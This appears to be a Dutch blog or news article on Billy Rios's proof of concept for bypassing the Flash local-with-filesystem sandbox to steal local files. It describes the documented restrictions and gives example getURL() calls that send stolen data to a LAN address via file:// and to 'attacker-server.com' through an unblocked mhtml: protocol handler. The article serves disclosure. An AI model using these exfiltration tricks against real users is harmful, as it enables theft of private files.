Een beveiligingsonderzoeker Billy Rios heeft een prove-of-concept gepresenteerd die laat zien dat het mogelijk is om via Flash toegang te krijgen tot lokale bestanden.

Sandbox
Een sandbox in Flash zou moeten voorkomen dat een bestand van een lokaal systeem doorgestuurd kan worden naar een ander systeem. De documentatie van de sandbox is misschien net iets te duidelijk hierin. Hierin staat dat swf’s geladen van het lokale systeem een aantal beperkingen heeft. De meest relevante beperkingen zijn volgens Billy:

  1. De SWF kan geen aanroep doen naar Javascript (of vbscript), ook niet door een URL of ExternalInterface.
  2. De SWF kan geen HTTP of HTTPS verzoek uitvoeren
  3. Querystring parameters (bijv. Blag.php?querystring=qa-value) worden verwijderd en ook niet doorgestuurd (ook niet bij verzoeken naar lokale bestanden)

Helaas zijn deze restricties niet hetzelfde als “kan niet communiceren met het netwerk in welke vorm dan ook”. Wat wel wordt gesuggereerd in de documentatie. De simpelste manier om de local-with-filesystem sandbox te omzeilen is om een file:// verzoek naar een externe server te doen. Bijvoorbeeld: Na het inladen van een bestand van het lokale systeem kan de aanvaller deze simpel doorsturen door getURL() te gebruiken en een url zoals bijvoorbeeld file://\192.168.1.1stolen-data-here.
Echter geldt dit alleen voor het doorsturen van data binnen een eigen netwerk (lokaal). Als een aanvaller de data wilt versturen via het internet zijn er nog een aantal trucjes nodig.

protocollen blacklist
In het geval van de local-with-filesystem sandbox, heeft Adobe gekozen om toegang to een netwerk door het gebruik van een protocol handler te voorkomen. Dit doen ze door middel van een blacklist. Vinden we een protocol dat niet geblokkeerd is door Adobe dan hebben we een doorgang en kunnen we met bijvoorbeeld getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”); data versturen via het internet.